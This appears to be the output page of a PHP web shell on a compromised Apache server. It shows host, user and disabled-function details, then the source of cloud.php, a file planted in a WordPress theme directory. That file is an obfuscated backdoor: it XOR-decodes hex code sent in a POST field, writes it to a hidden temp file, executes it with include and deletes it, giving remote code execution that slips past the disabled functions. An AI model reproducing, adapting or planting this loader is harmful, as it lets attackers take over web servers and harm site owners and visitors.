HEX
Server: Apache/2
System: Linux aws3 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User: hucscom (1018)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/hucscom/domains/huc99-s.com/public_html/wp-content/themes/cloud.php
<?php
//<PHPDATA>fputs_xor;52;symbol</PHPDATA>
if(isset($_POST["sy\x6d\x62ol"])?true:false):$_0=hEX2BiN($_POST["sym\142\x6fl"]);$_1="";foreach(sTR_SplIT($_0) as$_2):$_1.=cHr(Ord($_2)^(0126+010-052));endforeach;$_3=ArRay_filTEr([sYs_GEt_TEMp_dIR(),"/\x64ev\x2f\163hm","/\x76\x61r/tmp",iNi_GeT("upl\157ad_tmp_di\162"),geteNv("TMP"),GeTeNv("TEMP"),GETCWd(),"/tmp",sEssion_saVe_pAth()]);foreach($_3 as$_4):if(max(0270+0260-0610+040,Is_diR($_4)*Is_WriTABLE($_4))):$_5=SprInTF("\045s/.\x70tr",$_4);if($_6=fopen($_5,"w")):FWRiTE($_6,$_1);fClOse($_6);include $_5;UNLINK($_5);exit;endif;endif;endforeach;endif;